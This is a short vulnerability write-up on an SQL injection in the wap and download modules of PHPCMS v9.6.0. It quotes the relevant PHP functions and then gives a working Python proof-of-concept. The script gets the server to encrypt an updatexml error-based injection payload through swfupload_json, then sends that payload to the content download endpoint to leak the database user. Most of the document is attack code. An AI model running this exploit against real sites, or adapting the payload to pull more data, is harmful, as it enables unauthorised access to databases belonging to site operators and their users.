phpcms_v9.6.0 wap模块 SQL注入

public function init() {
		$a_k = trim($_GET['a_k']);
		if(!isset($a_k)) showmessage(L('illegal_parameters'));
		$a_k = sys_auth($a_k, 'DECODE', pc_base::load_config('system','auth_key'));
		if(empty($a_k)) showmessage(L('illegal_parameters'));
		unset($i,$m,$f);
		parse_str($a_k);
		if(isset($i)) $i = $id = intval($i);
		if(!isset($m)) showmessage(L('illegal_parameters'));
		if(!isset($modelid)||!isset($catid)) showmessage(L('illegal_parameters'));
		if(empty($f)) showmessage(L('url_invalid'));
		$allow_visitor = 1;
		$MODEL = getcache('model','commons');
		$tablename = $this->db->table_name = $this->db->db_tablepre.$MODEL[$modelid]['tablename'];
		$this->db->table_name = $tablename.'_data';
		$rs = $this->db->get_one(array('id'=>$id));

public function swfupload_json() {
		$arr['aid'] = intval($_GET['aid']);
		$arr['src'] = safe_replace(trim($_GET['src']));
		$arr['filename'] = urlencode(safe_replace($_GET['filename']));
		$json_str = json_encode($arr);
		$att_arr_exist = param::get_cookie('att_json');
		$att_arr_exist_tmp = explode('||', $att_arr_exist);
		if(is_array($att_arr_exist_tmp) && in_array($json_str, $att_arr_exist_tmp)) {
			return true;
		} else {
			$json_str = $att_arr_exist ? $att_arr_exist.'||'.$json_str : $json_str;
			param::set_cookie('att_json',$json_str);
			return true;			
		}
	}

public static function set_cookie($var, $value = '', $time = 0) {
		$time = $time > 0 ? $time : ($value == '' ? SYS_TIME - 3600 : 0);
		$s = $_SERVER['SERVER_PORT'] == '443' ? 1 : 0;
		$var = pc_base::load_config('system','cookie_pre').$var;
		$_COOKIE[$var] = $value;
		if (is_array($value)) {
			foreach($value as $k=>$v) {
				setcookie($var.'['.$k.']', sys_auth($v, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
			}
		} else {
			setcookie($var, sys_auth($value, 'ENCODE'), $time, pc_base::load_config('system','cookie_path'), pc_base::load_config('system','cookie_domain'), $s);
		}
	}

function __construct() {		
	$this->db = pc_base::load_model('content_model');
	$this->siteid = isset($_GET['siteid']) && (intval($_GET['siteid']) > 0) ? intval(trim($_GET['siteid'])) : (param::get_cookie('siteid') ? param::get_cookie('siteid') : 1);
	param::set_cookie('siteid',$this->siteid);

# -*- coding: utf-8 -*-
# @Time    : 2018-12-20 23:24
# @Author  : Patrilic
# @FileName: sql_poc.py
# @Software: PyCharm

import requests
import re
import sys


def poc(url):
    try:
        step1 = url + "/index.php?m=wap&c=index&a=init&siteid=1"
        response = requests.get(step1)
        post = {
            "userid_flash":response.cookies["okuga_siteid"]
        }
        print("[+] Get Cookie : " + response.cookies["okuga_siteid"])
        # 获取cookie，避免登陆失效

        step2 = url + "//index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=%*27%20and%20updatexml%281%2Cconcat%281%2C%28user%28%29%29%29%2C1%29%23%26m%3D1%26f%3Dhaha%26modelid%3D2%26catid%3D7%26"
        response = requests.post(step2, post)
        # print(response.cookies)
        sqli_payload = response.cookies['okuga_att_json']
        print("[+] Get Sqli_poc : " + sqli_payload)
        # 获取加密 payload

        step3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload
        response = requests.get(step3)
        # print(response.text)
        user = re.findall(r'</b>XPATH syntax error:(.*?)<br />', response.text)
        # 注入
        try:
            user[0]
            print("[+] Congraduations! This url is Vulnerable! ")
        except:
            print("[-] Not vulnerable!")

    except:
        pass

def main():
     url = sys.argv[1]
     poc(url)



if __name__ == '__main__':
    main()